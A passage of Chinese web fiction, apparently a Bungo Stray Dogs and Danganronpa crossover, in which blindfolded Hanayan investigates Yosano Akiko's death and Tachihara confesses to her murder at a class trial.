在来回缠绕纱布时,他忽然意识到了一个问题。 所以为什麽从一开始不能让费奥多尔留在外面,自己独自进医务室翻找呢? 对方中间停顿了那麽久,该不会是在纱布和绷带上弄了什麽不知名小药水吧?! 第58章 花言没从手中的纱布和绷带上闻到什麽奇怪的味道,应该没什麽问题。 他在绷带和纱布之中选择了后者,纱布的遮光效果比绷带要差些,只不过想要完全遮住瞳色需要来回绕好几圈,这样下来在遮住瞳色的同时也严重阻碍到了视野,眼前一片白茫茫的滤镜,像是身处浓雾,但还是比完全看不见要好。 花言拿着手中剩余的材料往桌子那边走去,打算把东西放回抽屉。可或许是视觉大幅度受到了干扰的原因,在他视野里明明是对准抽屉放下的绷带与纱布,却只有纱布掉进了抽屉中。 这张桌子是相当经典的款式,一边是柜子,另一边供人放腿的镂空局域,而绷带则不偏不倚地刚好滚进了柜子下方,花言看不见柜子下面的情况,只能跪地伸手去摸。 探出去的指尖在触及绷带柔软表面的同时,还摸到了一个坚硬的物体。 花言眉头一皱,发现事情并不简单。 他将那两样东西都摸了出来,随手柄绷带放回抽屉合拢后,才有空看自己得到的意外收获。 手中的东西是一个透明的方形扁盒,其中有一个银白色的圆形物品,物品表面似乎十分光滑,上面还用黑色蜡笔写着字。 花言环顾周围,见四下无人,悄悄把纱布掀起了一角,看清了这东西究竟是什麽。 这是黑白熊给他们发的光盘。 上面用黑色蜡笔写着的字是——“立原道造的DVD”。 他好像捡到了不得了的东西。 花言沉思着将光盘塞进口袋,考虑到右边口袋破了,只能塞左边口袋了。 结果这一塞他又发现了不对劲,他左边口袋空空如也了! 他记得自己左边口袋应该放着他的两张光盘碎片才对,是有人趁他陷入昏迷的时候拿走了吗? 毕竟费奥多尔说过那是他的房间,因此肯定是有人在他身上翻找出了他房间的钥匙,再把他们搬进去的,所以会顺势发现光盘也并不是什麽怪事…… 但为什麽直接拿走了啊?! 被发现有两张光盘倒不是什麽要紧事,大不了到时候说另一张是费奥多尔的就好,反正黑白熊私下给他的那张也没写名字,费奥多尔考虑到他们共犯的关系,肯定也会帮忙遮掩。 因此更重要的是……不会真的有什麽“超高校级的修复师”修复好他的光盘吧?! 花言心情沉重了起来。 门外的费奥多尔可能是迟迟没有等到他打开门,轻轻敲了敲门,裹挟着担忧的嗓音响起。 “花言?您好了吗?” “嗯。” 花言应了一声,走上前拉开了门。 门外的费奥多尔目光落在对方纱布缠绕得十分厚实的眼部,觉得对方似乎有点太谨慎了,委婉地询问。 “您……还能看见路吗?如果看不清我可以继续牵着您。” “勉强可以。”花言含糊地点头,很快转移了话题,“接下来我们去哪?” “去哪这个问题……”费奥多尔转头看向走廊尽头的时钟,指针正指向三点。 花言顺着对方目光看过去,不出意外的什麽都没能看清,不过幸运的是对方贴心地告诉了他所看见的东西。 “已经三点了,唔……按照正常时间推算应该是淩晨三点,看起来我们昏迷了近五个小时。”费奥多尔若有所思地看向自己受伤的手掌,“是因为时间段在淩晨,所以才没遇见什麽人吗?” 花言知道对方会强调“正常时间”这个词汇八成也是已经意识到时间问题了。他觉得其他人如果感觉不到困意,肯定也不会硬睡,所以那些人八成是聚集在什麽地方了,比如说食堂,他们说不准在吃夜宵。 “我们……” 花言的话还没来得及说完,对面的墙壁上忽然缓缓落下了一块电子屏幕。 屏幕中黑白熊正欲盖弥彰的戴着睡帽,殊不知一个玩偶戴睡帽表示正在睡觉实在是太怪了。 “叮咚咚咚咚,发现尸体。你们这些家夥,快来体育馆集合!” 没遇见什麽人的问题得到答案了。 原来大家都在背地里搞事。 两人心照不宣地抬起脚步朝体育馆走去。 体育馆内已经聚集了数道身影,他们仍旧按照阵营各自占据了一角,听见门口出现了脚步声,他们不约而同地转头望来,在发现是费奥多尔与花言时,近乎所有人都将目光收了回来。 毕竟他们都知道,这两人撞在一起昏迷了几个小时,根本没空作案。 只有果戈里依旧热情地朝两人招手。 “陀思君,花言,这边这边~” 花言目光不着痕迹地打量着周围,大部分阵营人数都没变,除了武装侦探社似乎那边少了道身影,以及…… 花言来回确认果戈里身边确实空无一人。 最终言简意赅地问道:“你把西格玛杀了?” 果戈里:? “怎麽可能——?!”果戈里仿佛遭遇了天大的冤枉,整个人都像是被伤透了心,“你怎麽能冤枉我呢——西格玛只是太困了,怎麽都喊不醒——” 花言懂了。 原来是药效还没过。 “喂,喂喂!” 黑白熊站在讲台上试麦,它双手举在身前,一副兴奋无比的模样,“想必你们都知道了,在你们之中有人为了毕业杀死了与谢野同学。” “啊……”大仓烨子发出一声不耐烦的气音,“这件事我们都知道了,所以现在是要宣布那个人能够毕业从这里出去了吗?让我们聚集在一起是为了见证毕业仪式?要不要我们再合个影,看你拨穗?” “我们都知道了”是什麽意思? 花言和费奥多尔难得沉默了下去,原来只有他们什麽都不知道吗? “唔噗噗噗,噗哈哈哈!” 黑白熊爆发出剧烈的大笑,毫不客气地嘲讽道:“天真!太天真了!不如说正片才刚刚开始才对!” 话音落下的瞬间,所有人口袋中的电子学生手册同时发出一声轻响,一条新的规则出现在六条规则之后。 ——“学生内部发生杀人事件时,在一定时间后将会举行学级裁判,全体学生有义务参加。如果在学级裁判中指出了正确的坏人,则仅对坏人进行处刑,如果未能指出正确的坏人,则只有坏人能够毕业,其余学生将被集体处刑。”* “喂!你怎麽还补充规则?!”大仓烨子爆脾气瞬间被点燃,这种卑鄙的做法与赖皮无异,“你是在戏弄我们吗?!” “果然不会那麽简单啊……”太宰治叹息一声。 “当然了!毕竟之前校规上就说明过——想要毕业就不可以暴露自己杀人了的事啊,如果不举行学级裁判的话,怎麽知道有没有暴露呢?” 黑白熊理所当然地晃动着头,煞有介事地朝大仓烨子的方向伸出圆手,强调道:“戏弄?我可没有规定什麽戏弄你们的规则,杀人的凶手如果被发现就会被绳之以法,这不是很正义的规定吗?!” “但是如果没有找出凶手就会被集体处刑,这不是意味着最终只有一个人能够出去吗?”中岛敦难以置信,“这是什麽正义的规定啊?!” “因为场地就这麽大,如果没有找出来,肯定是有人包庇了凶手吧!”黑白熊竖起了爪子,试图散发凶恶的气息,“谁知道你们这些人会不会为了同伴相互包庇?看你们一直搞小团体孤立其他同学,身为校长的我也很痛心啊!这种不良风气绝对要杜绝!” 众人:…… “总之我要说的事情就是这些,请大家加油搜查吧,之后的学级裁判再见!” 黑白熊在讲台上摆了摆手,跳下了讲台准备朝外走去,在中途,它余光像是注意到了什麽,停住脚步微微歪头。 “啊咧?花言同学,你的眼睛受伤了吗?” 在一瞬间成为众人目光焦点的花言顿感不妙。 这里到处都是监控,自己有没有受伤,黑白熊应该是最清楚的,但对方仍旧这麽说了,肯定是要说什麽针对他的话了! 果不其然,只听黑白熊捂着肚子大笑出声。 “唔噗噗噗,没想到你居然也会受伤,发生了这种事,还算是什麽超高校级的……” 花言顺应声音的方向一个箭步冲上去捂住了黑白熊的嘴——应该是嘴吧,虽然他不太明白布偶的发声机关在哪,但连脖子带嘴一起掐应该没问题。 花言低头看向手中不断挣扎的黑白物体,轻轻叹了口气。 “我觉得你有点太针对我了,校长。” 事实证明对方还能更针对,只听手底下忽然响起了细微的倒计时声。 花言宕机立断地将黑白熊踢向讲台方向,后者身体里的炸弹在半空中骤然爆炸,披在肩头的斗篷在掀起的灼热气浪中猎猎作响,巨大的声响混杂着火药味一同在空气中传导。 花言感受着露在外皮肤上载来的热意,觉得如果再慢上一秒说不准对方真能炸到他,这个倒计时的时间明显加快了。 旁观了全程的众人中不知道是谁幽幽感叹。 “校长炸了,学级裁判还能开吗?” “当然了!” 黑白熊的声音从讲台下面顽强地传出,一只全新的黑白熊再次出现。 它像是确认了花言的“才能”还在,没有可乘之机,所以假装什麽都没发生过似的,催促道。 “你们这些家夥快去查找线索!不然就等着集体被处刑吧!” 说完它又跳回了讲台里,其速度之快仿佛在躲避着什麽似的。 花言看了看掉在不远处的碎片,又看了看空无一熊的讲台。 确认了一个事实。 所以确实不止一只黑白熊,而对方身体里也依旧安装了炸弹是吧? 那对方一开始还那麽小气,连个炸弹都不肯贡献给他当材料?怎麽会有熊想让他干活,还什麽都不给的啊!这跟黑心资本家有什麽区别?! 第59章 伴随着黑白熊的消失,体育馆内聚集的众人也逐渐散去。 果戈里注意到费奥多尔正看着手中的电子学生手册,奇怪地歪了一下脑袋。 “陀思君,你发现什麽了吗?” 费奥多尔回过神抬头看向果戈里,微微摇了摇头,“没有,我只是在看电子学生手册上添加加的‘黑白熊文件’……嗯,或者说是一些死亡信息?” “诶——?” 果戈里像是才注意到电子学生手册上多出了什麽似的,自然地贴过去一起看,在发现对方屏幕中真的只有死亡信息、除此之外什麽都没有——更不可能让他看见有关“才能”的东西后,他又失望地移开了脑袋。 正在拍斗篷上灰尘的花言闻言复述了一遍,“死亡信息?” “嗯。”费奥多尔考虑到对方的不便,体贴地读出了其中的信息,“上面显示与谢野小姐死亡的时间是在晚上两点半,尸体在杂物室,腹部有被刀刃刺穿的痕迹。” “听起来像他杀。” 花言若有所思地得出了结论,他眉头微皱。 这样一来就更奇怪了。 起初在听见死者是与谢野晶子时,他是打算从武装侦探社众人的反应中得到点蛛丝马迹的,但只可惜他忘记了他现在视觉受限,连看人都只是勉强看清个轮廓,没办法观察更为细致的表情。 因此只能退而求其次地从其他地方入手,比如说听太宰治与中岛敦发言时的语气。 既然死者是他们的同伴,那多多少少都会从语气中反馈出些什麽。 可能是黑白熊临时增加规则的做法太过赖皮,这两人说话时的语气一个是类似于“这一刻终究还是来了”——早有预料的无趣与疲惫,另一个是难以置信的惊惧。 在这些语气背后,他没听出特别浓重的、对凶手的憎恨与愤怒,更多的是纯粹的悲伤与遗憾。 就像是——与谢野晶子是自杀的一样。 如果是他杀的话,他们不该是这种反应,难道是因为自己昏迷的太久,错过了太多东西,他们都已经收拾好情绪了吗? 费奥多尔对这个答案不置可否,他看向双眼蒙着雪白纱布的纯白少年,“虽然现在已经有些晚了,但是既然没有头绪的话,也只能去看一下现场了,您觉得呢?” 花言对此没有异议。 费奥多尔见对方点头,指尖在屏幕上点出了地图,“杂物室在食堂隔壁,离寄宿区也并不远……” 果戈里自告奋勇地举起手,“我知道具体位置哦!不用看地图啦——我可以带你们去!” 三人很快达成共识,一同前往杂物室。 杂物室内没什麽人,只有一道芥子色身影静静伫立在墙边,垂头看着靠坐在货架前、已经失去了温度与生命的与谢野晶子,后者腹部的伤口晕染开靡丽的猩红,身下的地面也积攒出了一汪血泊。 费奥多尔注意到墙边的身影,微微低头,“打扰了。” 国木田独步摆了摆手,示意没有关系。 费奥多尔没有进门,仅是在门口远远望了一眼。 花言没办法像对方一样仅依靠视觉观察,他走进房间,目光最先注意到地上散落的杂物,蹲下身捡起,指尖传来粉末质感,像是灰。 杂物上带着些许陈灰,从陈灰的覆盖的位置来看,不像是一直在地上的,更像是从尸体后面的杂物架上滚落下来的。 他抬起头靠近杂物架,杂物架上的东西并没有都落下来,而是只有一些本身就容易倒的东西才掉下来了,看起来受害者与凶手之间没有爆发剧烈肢体冲突……不,再加上这里离寄宿区很近,伤势也不是一击毙命,所以大概率连语言冲突都没有。 花言从货架上的纸箱中翻找到了一次性手套,在下意识蹲下想要检查尸体伤口时又像是想起什麽,抬头看向国木田独步所在的位置,征询对方的意见,“可以吗?” 国木田独步看着少年双眼上缠绕的绷带,有些迟疑,“可以是可以,只是你看得清吗?” “没问题,我在这方面不用太依靠视觉。” 得到同意,花言毫不犹豫地伸出指尖摸向对方的伤口处,他之前工作中接触过各种各样的尸体,对于一些伤口早已熟悉无比。 腹部是贯穿伤,凶器是与谢野晶子手中看似是用于装饰的金色武士刀,伤口后面比前面的面积要大,应该是被人从身后偷袭的。 地面上残留的鲜血溅射的痕迹已经混杂在了一起看不太清了,不过武士刀的刀柄处沾染上了与谢野晶子的血迹,从已经干涸的血痕来看,这把刀像是对方自己拔出来的。 花言若有所思地起身,目光看向尸体右手边不远处的急救医药箱,急救医药箱锁扣没有被打开,箱子也是歪倒在地,上面沾染了血液,看起来像是与谢野晶子原本想用其中的东西救自己却被人踢远了。 但是……真的是这样吗? 杂物室可不会有急救医药箱,这是医务室才有的东西。 与谢野晶子的“才能”极有可能与这方面有关,但是这并不意味着对方会随身携带急救医药箱。 花言朝外走去的同时不忘说些什麽安慰国木田独步,果戈里见对方出来了,好奇地询问。 “花言,你有发现什麽吗?” “我不确定。” 花言摘下手上沾满猩红的手套,特意绕了一圈去垃圾室丢进了里面的焚化炉。 他看向费奥多尔,“她的表情是什麽样?” 他看不清太细致的东西,只能大体看见对方双眼紧闭,唇角也微微抿起,除此之外什麽都看不出来。 “很平静。”费奥多尔没有隐瞒什麽,“像是对什麽释然,松了口气的感觉。” 果然是这样啊。 花言斗篷下的指尖摩挲着口袋里的光盘,没有再开口。 果戈里的视线来回在两人之间打转,最终还是没忍住好奇,伸出手在花言面前晃了一下。 “花言——你的眼睛真的受伤了吗?” 花言面不改色地抓住对方的手,“是啊,你该不会还不死心,想趁机杀我吧?” 这一句话成功唤起了果戈里不好的回忆,他干笑了两声,“哈哈,怎麽会呢?” “我只是在想——你跟陀思君撞的那一下伤害有这麽大吗?能把眼睛都撞伤……该不会是倒地后墨镜碎裂的镜片掉进眼睛里了吧?!” 果戈里想到了可能性最大的发展,发出感叹,“没想到花言你会以这种形式受伤呢!” 这是什麽话?说的好像在嘲讽他躲过了果戈里和西格玛的两次——如果橘子上的粉末也是对方干的,那就是三次,三次袭击最终却倒在了自己手里一样。 花言有些不高兴了,当即发起攻击。 “这只是意外,意外很正常的,就像是果戈里你从来没有想过麻醉剂会打在西格玛身上一样。” 攻击效果拔群,果戈里若无其事地收回手,“诶?诶呀?什麽麻醉剂……不知道呢。” 旁听了两人对话的费奥多尔心情复杂,他总算知道西格玛为什麽会不省人事了。 不过为什麽花言明明知道西格玛和果戈里想对他下手,却仍旧是一副毫不在意的样子呢?是确认两人没办法伤到自己,还是有其他依仗……? 果戈里似乎也想到了这一层,“说起来,花言,它为什麽要针对你?跟你的‘才能’有关系吗?” 这个“它”指的自然是黑白熊。 花言势必不可能透露半点,他摇了摇头,“我不清楚,可能是因为之前的误解吧。” “误解?”果戈里脸上的好奇更深了,催促着对方,“是什麽样的误解?诶——是什麽时候的误解?陀思君知道吗?” 见费奥多尔摇头,他又看向了花言,“难道是我们都和你分开的时间段?是食堂送陀思君去医务室的时候——?还是花言你看完光盘离开的时候?” 果戈里近乎将所有花言单独行动的时间都分析了出来,叽叽喳喳的声音有些聒噪了。 花言微笑地看向果戈里的方向,“是食堂你们送他去医务室的时候,想知道发生了什麽吗?” 果戈里看见对方的笑容隐约有种不好的预感。 “你记得费奥多尔剥的那个橘子吗?我给你,但你没吃的那个。” 花言觉得在橘子上下药的肯定就是果戈里,毕竟只有对方会无差别攻击的可能性最大。 “我当时有点担心,所以起身去食堂门口望了眼你们离开的身影,当我再次回过头时,我发现黑白熊站在桌子上,手中正拿着那颗橘子。面对我的质问,它辩解说——自己是因为费奥多尔同学的受伤过意不去,而特意过来把茶泡饭端给我的中途发现了没吃的橘子,以为不合我们胃口,所以想尝尝是不是很酸。但是它是那麽一个善良的熊吗?显然不是,我仔细观察发现橘子上有药物粉末,跟它大吵了一架,直到在宿舍它出现帮我作证,我才相信了不是它,所以……” 花言说到这里笑吟吟地看向果戈里,轻声念出对方的名字,“果戈里,你对橘子上的粉末有什麽头绪吗?” 即使看不见眼前少年的双眼,但果戈里仍旧感受到了一股压迫感,这或许是因为他发现自己原来不是接连两次的失手,而是三次,所以出现了一种久违的、名为尴尬的情绪。 果戈里目光游移,“哈哈,是怎麽一回事呢?哎呀,我突然想起来既然已经发生了杀人事件,那把西格玛一个人留在没有上锁的房间里实在是太危险了,我得回去看看他……” 果戈里像是真心担忧西格玛似的,匆忙逃离了现场。 花言编出来的说辞其实很牵强,但或许是因为果戈里亲身经历了花言的离奇,在那两次离谱至极的发展下,这种发展反而变得正常了起来,以至于反而相信了。 费奥多尔看着果戈里飞速消失在走廊拐角的衣摆,收回视线,有些无奈地说道:“没想到您也会说这种有些恶趣味的话。” “但是我们最起码知道橘子上粉末的由来了。”花言没有否认自己是故意赶走果戈里,“你当时也没吃,肯定也注意到了吧。” “谁知道呢?”费奥多尔模棱两可地回答,“也许我只是看您没吃,有些失落没胃口罢了。” 花言对费奥多尔无比了解,以他们才认识近一天的关系,对方才不可能失落。会说出这种话,应该是他当时表情没有管控好,流露出的愧疚被对方发现了,所以对方想要借此影响他的判断。 他笑了一声,也没有拆穿对方,“接下来我们去哪?” “食堂?” 费奥多尔报出了一个位置。 似乎是注意到后者脸上的惊讶,他解释道:“我看您之前好像就想去这儿。” 花言确实想去,但是还是要装一下的,不然岂不是显得自己一天到晚只想着吃? 他故作迟疑,“不去搜索更多的线索没关系吗?” “没关系,武装侦探社他们手中的线索肯定比我们更多,他们更加清楚事情真相,况且……”费奥多尔意有所指地继续说道:“这场游戏的脉络已经十分清晰了,来到这里的,都想杀在这的某个人。因此只要了解他们之间仇怨,确认了最终的反应,那麽凶手的大致范围就已经出来了。” 该说不愧是情报贩子吗? 花言觉得黑白熊如果想让游戏更有意思的话,应该把费奥多尔脑子里的情报洗干净点。 “当然,现在看见您的反应……”费奥多尔轻笑了一声,眼眸微微弯起,“果然没有出现任何意外因素呢,凶手是他吧?” 花言:…… 这怎麽还顺带在试探自己了? 第60章 事实证明黑白熊确实很没耐心,花言还没来得及在食堂找点什麽吃,就被前者通知进入学校区一层的红色大门——去参加学级裁判,他只能顺手捞了两个橘子揣口袋里。 伴随着人数到齐,红色大门后的电梯随之启动,陈旧的电梯不断下坠,在摇晃的橘色调灯光下所有人的神色都晦暗不明。 当电梯门再次拉开,展现在众人眼前的是一个宛如法庭一样的地方,只不过不同于常规法庭,这里既没有观众席、也没有陪审团,唯一一个类似于法官的位置被装扮的像是王座一样,十六个席位在房间正中央衔接成一个圆,其中一个席位上竖着一张与谢野晶子的黑白照片,照片上被用红颜料打着大大的叉,赤红的颜料蜿蜒曲折,像是一只被做成标本的蝴蝶。 “真是相当恶趣味的空间。”大仓烨子嫌恶地发表了看法,“站在这些位置里显得像是犯人一样。” “某种程度上来说也没错,不是吗?” 太宰治对此倒是不怎麽介意,随意站了个位置,其他几人也跟着站在他身旁的位置上。 他意有所指地继续说道:“我们之中确实有犯人。” 大仓烨子没有回应,仅是阴沉地瞥了眼对方,随后又看向港口mafia四人的方向。 中原中也像是对这地方颇有微词,也像是受够了这地方,一脸不耐烦的模样,森鸥外饶有兴致地观察着这处场地,立原道造与芥川龙之介仅安静地站在一边,换做平时或许立原道造已经活跃着气氛吐槽这里了,然而此刻他却像是沉入了自己的思绪,表情平静而又缄默。 花言找了个离黑白熊最远的位置站着,原因无他,以黑白熊目前针对自己的模样来看,他很怀疑对方会不会在敲锤子的时候故意把锤头敲飞出去砸他。 费奥多尔自然地占据了花言右边与立原道造之间唯一一个空着的位置,杜绝了果戈里接触到他的可能,果戈里像是没有在意,他退而求其次带着刚苏醒过来、还不知道发生了什麽的西格玛站在花言左边。 西格玛的记忆还停留在食堂外的走廊,再次睁开眼时耳边就是黑白熊通知他们去参加什麽学级裁判的声音,更糟糕的是他床头居然还站着果戈里,后者见他醒了,笑眯眯地弯腰对他说——“你醒啦,游戏很精彩,已经出现凶杀案了,现在我们要集体参加审判找出凶手,不然所有人都会死”。 西格玛很不想去,因为他什麽都不知道。甚至觉得自己醒的实在是不是时候,想再来一针麻醉剂。 只是很可惜显然不行,于是他被果戈里拖着来了。 他抬头看着正对着他的遗像,又环顾周围站着的众人,以及四周墙面一片赤红的帘子,只觉得这地方相当恐怖。 黑白熊坐在唯一一张审判席上,像是已经等候多时。 “现在大家都到齐了,我宣布,学级裁判现在开始,请大家开始辩论吧!” 在话音落下的那一刻,一阵强劲的音乐响起。 这音乐来的莫名其妙,让所有人都下意识望向音乐来源,发现黑白熊手中正拿着一台收音机。 原本对这场莫名其妙的自相残杀游戏非常不爽的中原中也没忍住吐槽,“……怎麽你还自己营造气氛啊?” “没办法嘛,毕竟我看你们每个人脸上的表情都不太好,所以给你们增加点查找凶手的激情。”黑白熊像是羞涩地挠了挠头,将收音机塞回身后,“这可关系到你们所有人的性命呢,不打起干劲可不行。” 它说完还是迟迟没有等到其他人开口,故作疑惑地歪了歪脑袋,“哎呀?是不知道从哪开始吗?那我来替你们起个头吧,死者的身份是‘超高校级的医生’与谢野晶子,死亡时间是……” 眼见黑白熊又要说些所有人都知道的没用信息,国木田独步深吸一口气,打断了对方。 “那麽,先从这枚铁牌说起吧。” 国木田独步手中举起一枚金属项链,上面挂着的铁牌刻满了“正”字。 “这是在她出事后,我们在她宿舍中找到的,我们很确定这并不是属于她的东西。” “我们与她分别的时间是在晚上十点半左右,那个时候我和太宰治正将撞在一起晕倒的两名同学搬运进了其中一名同学的房间……” 或许是余光注意到花言像是找到罪魁祸首一样的表情,国木田独步紧急解释,“呃,这是因为我们只在这两名同学中的其中一人身上找到了房间钥匙,所以这也是无奈之举。” 话题骤然偏题,太宰治有些无奈,不得不插入将话题掰回正轨。 “她检查过那两名倒霉同学的伤势,确认没什麽问题回了宿舍。由于这里的宿舍隔音很好,我们也不知道她是什麽时候离开的,不过她宿舍中没有战斗留下的痕迹,因此,能够确定是有人用这块刻满‘正’字的铁牌,让她主动从宿舍离开去杂物室的。” 太宰治看向了中岛敦,后者手忙脚乱地从口袋里翻找出一张沾着血迹的字条,展开在众人面前。 字条上的字迹歪歪扭扭,像是刻意经过遮掩,上面写着——“你知道这是什麽吧?如果想弄清楚就来杂物室”。 “在这种情况下,这是相当明显的陷阱,但她还是去了。”太宰治叹了口气,抬起眼帘,露出的那双鸢色的眼眸中神色微沉,“在座的各位应该都能从她的伤口看来,她应该是进杂物室的那一瞬间,被人偷袭了。” “哇呜,听起来他们之间有着很深的仇恨呢。”果戈里不知道从哪变出了手帕,擦了擦眼角,“与谢野小姐抱着必死的决心,凶手也抱着必杀的决心。” “是这样吗?”费奥多尔低低笑了一声,望向身侧港口mafia四人的席位,“我倒觉得,他的意志不够坚定。” 国木田独步沉默片刻,“……是从与谢野医生旁的急救医药箱看出来的吗?” “没错,我想与谢野小姐既然明知道是陷阱也要去,那应该不会带着急救医药箱。大概率是凶手在捅伤与谢野小姐后,对自身的决定产生了迷茫,去医务室取过来的。” 费奥多尔唇角的笑容带着趣味,“但是,心中长久的仇恨又让他无法给对方治疗,在矛盾中,他选择将急救医药箱丢在对方身边,让对方自救。从尸体的情况来看,武士刀是与谢野小姐自己拔出来的,也就是说——” “是她自己选择了死亡。”太宰治语气平静,“这种结果能够抚平他心中的仇恨吗?” 太宰治的最后一个问题问的显然不是费奥多尔,而是对与谢野晶子下手的那人。 听了一堆模糊不清发言的中原中也有些不耐烦地做出了总结,“总之就是谁在十点半到两点半之间进过医务室,谁就是凶手了,是吧?” “别说十点半到两点半了,我们可一直都没去过医务室啊!”福地樱痴爽朗地想要摸下胡须,但手伸到半途才想起来他现在外表回归少年期了,还没留胡子。 “听起来是个很遥远的词汇呢。”条野采菊赞同地点头。 “我倒是去过医务室,不过那是在夜晚时间段之前的事情了。”森鸥外若有所思地捏着下巴。 芥川龙之介直白地否认,“在下没去过。” 中原中也看向没说话的那几人,“喂,你们呢?” 大仓烨子心情不太好,听见质问烦躁地回道:“谁会去那地方啊!” 坂口安吾推了一下眼镜,剖析出事实,“我一直跟武装侦探社的人一起行动,没有杀她的动机和时间。” “我才刚醒……”西格玛平静中带着绝望。 费奥多尔无辜回望,“我跟花言三点才醒。” 花言斗篷下的手不动声色地剥着橘子,面上点头,“是的。” 中原中也问了一圈没一个承认,他的目光狐疑地放在了武装侦探社那几人身上。 太宰治一眼看出了对方的怀疑,他脸上扬起一抹嘲讽的弧度,“按照你的那种问法,要是这里没有凶手在意的同伴,那他现在肯定已经高兴坏了,能够一次性干掉十五个人呢。” 这句话宛如触发了什麽机关,没等中原中也反驳,只听立原道造平静开口。 “我去过,我在十二点的时候,去过医务室。” “立原?”中原中也完全没想到过这个答案。 “立原!”大仓烨子喊了一声对方的名字,想要制止对方接下来的话。 但是立原道造显然已经下定了决心,他看向大仓烨子的方向微微笑了笑,像是安抚,又看向中原中也,面露歉意。 后者是如此相信他,甚至连问话问到那三昏迷的人身上都没问他。 “抱歉,中也先生。” 立原道造的视线最终落在武装侦探社众人身上。 “没错,是我杀的她。” “原因你们应该也已经知道了。”立原道造像是想要从口袋里拿出光盘,但摸了所有口袋都没摸到。 花言一边急急吞下嘴里的橘子,一边从口袋里拿出光盘,“你是在找这个吗?” 立原道造:? “怎麽会在你那里?” 其他人顺着立原道造的目光看向花言,确切来说是看向对方手中举起的、属于立原道造的光盘,表情也都变得怪异。 “哇哦。”果戈里发出一声感叹,“难道还有反转?” “没有反转。”花言冷漠地杜绝了果戈里想看好戏趁机踩他的可能,“这是我醒来后在医务室捡到的。” 费奥多尔:…… 他记得他好像是跟对方一起进的医务室吧?也只让对方单独在医务室呆了一小会儿,除去包裹双眼所需要的时间,对方是怎麽在那麽短的时间内捡到立原道造光盘的?魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 60-70 第61章 花言迎上立原道造的视线,自证清白,“需要我还给你吗?我没看过哦。” 立原道造单手抓了把头发,烦闷地轻啧一声,“算了,既然你捡到了就给你了,我留着也没用。” 他言归正传,“像是你们看到的,我杀她的原因就是因为这张光盘里的内容。” “感情那些提醒你是一点没听啊?”中原中也捏紧了拳头,有些想给对方头上来一拳清醒清醒,“都不知道是真是假,你就这麽做了第一个?!如果能够顺利出去也就算了,现在这种局面你让我们怎麽办才好?” “呃……我没有完全相信,所以我才先把东西放在她房门前,看她会不会来杂物室,事实证明光盘里的东西大概率没错。”立原道造挠了挠脸颊,“至于这种结果,我在动手前就已经想过了,抱歉啊。” 中原中也不再说话,他望向黑白熊所在的位置,那双蔚蓝的眼眸中的神色宛如海面上蓄积的雷云,阴沉而又愤怒。 立原道造深吸一口气,身上的气质截然发生了变化,他目光坚毅,“我一直在找十四年前杀死我兄长的凶手,当时那场战争十分惨烈,有太多的信息在时间与各方博弈中被模糊,我想要找到凶手无异于大海捞针。” “为此我甚至不惜潜入港口mafia接替前任卧底搜查官的位置——港口mafia首领森鸥外作为那场战争中的原军医士官知道这其中众多军事机密,只要我待在港口mafia,就一定能够弄清楚当初的真相,只是……” 立原道造看向花言手中的光盘,无奈地笑了一下,“没想到真相会以这种廉价又沉重的方式送到我手里。” “立原君原来是军方的卧底……” 森鸥外叹息,其实他并不意外立原道造卧底的身份,这点在他想要看对方电子学生手册时发现对方的手册摔坏了就已经得到了验证,相比之下…… “光盘里难道是那场战役的整体原貌吗?” “不,光盘中的东西虽然确实是那场战役,但是却不是全貌,只有零碎的片段——闪烁而过的战场、与谢野晶子不断治疗好战士让他们不停歇地战斗、我哥哥死亡的一幕……”立原道造烦躁地叹了口气,“正是因为这样,我才会在她朝我道歉时……” ——犹豫自己的做法究竟是不是正确。 “我有个问题。”太宰治举起手,“立原君,你的光盘里只有与谢野医生一个人的身影吗?” “还有零零散散、看不清模样的其他人。”立原道造逐渐意识到了什麽,他目光看向森鸥外,“除了我哥哥跟她在视频中容貌清晰之外,就只剩下港口mafia首领了。” “果然是这样啊,看起来那份视频中确实存在一些误导。” 太宰治没有再继续说下去,而是拿出了一张折叠起来的白纸走到对方身边,“这是她留下的‘遗书’——暂且先这麽称呼吧,上面有写那场战役的全貌。虽然现在可能已经有些晚了,但是……立原君,你要看看吗?” “遗书?” 立原道造愣了一瞬间,宛如在做什麽心理斗争,半晌才从对方手中接过那张白纸展开。 这封遗书是写给武装侦探社众人的,与谢野晶子早已做好赎罪的准备,也对死亡的结局毫不意外,上面写明了那场战役——常暗岛上发生的大体情况。 当时与谢野晶子十一岁,在参加这场战役之前还在一家日式点心店里做兼职,是森鸥外发现了她的异能才把她强行征用到军部中当作助手的。 所有士兵在起初都很感激她的异能,但能够治愈身体的异能却治愈不了精神,在一次次无休止的战斗中,那些士兵崩溃了,他们怨恨她的存在。都是因为她,是她的异能夺走了他们撤退的权力。 如果没有她,那些士兵就可以因负伤从战场上撤离了。 这份回忆如附骨之疽般挥之不去,在她的光盘中,她看见会有一个人为复仇而来找她,她的同伴也都会因为她的牵连而一个个倒下。 在这份视频的最后,她看见了那个人的样貌,也听见了他复仇的理由。 比起视频中的未来,现在能够不牵连同伴实在是太好了。 同时,与谢野晶子也清楚地知道,他们被困在这里面对未知的阴谋,总有人需要冒风险打破僵局。因此如果可以,她愿意牺牲自己换对方出去,给予其他人更多的线索,以及一线生机。 “她……”立原道造握紧了手中的遗书,上面密密麻麻的黑色字迹在雪白的纸张下格外瞩目。 “是啊,如果没有黑白熊添加的那条规则,你肯定现在已经离开了吧。”太宰治目光逐一扫过场地内的众人,分析道:“从“猎犬”的反应来看,你应该是他们之中的一员,因此他们会替你遮掩;考虑到你港口mafia的身份,港口mafia也不会戳穿你;至于其他人……” 他看向西格玛和果戈里,“他们一个意外昏迷现在才醒,一个不清楚你们之间的恩怨。” 太宰治的目光在费奥多尔和花言身上停留了片刻,“至于他们……嗯,费奥多尔大概率也是想出去的——如果他不是幕后黑手的话。而花言虽然捡到了你的光盘,却直到你自己承认后查找时才拿出来,因此他应该也没有想戳穿你的打算。” “听起来我好像是个最佳人选,只可惜……”立原道造扯了扯嘴角,似乎是露出一个笑,但怎麽都没能成功,他转移了话题,“没想到你们都知道是我干的,我好像不太适合干这种事……” “那个啊,我有件事很在意。”条野采菊插入了对话,他捏着下巴,“虽然立原对与谢野晶子动手了,但是却没有一击毙命,更何况与谢野晶子的‘才能’是‘超高校级的医生’、她身边还有急救医药箱,是她把刀拔出来放弃治疗才导致大量出血死亡的,所以这应该算自杀吧?” “唔噗噗噗,是想为同伴辩解吗?”审判席上黑白熊捂住嘴巴发出笑声,“这确实是个可以辩驳的地方呢!不过啊——” 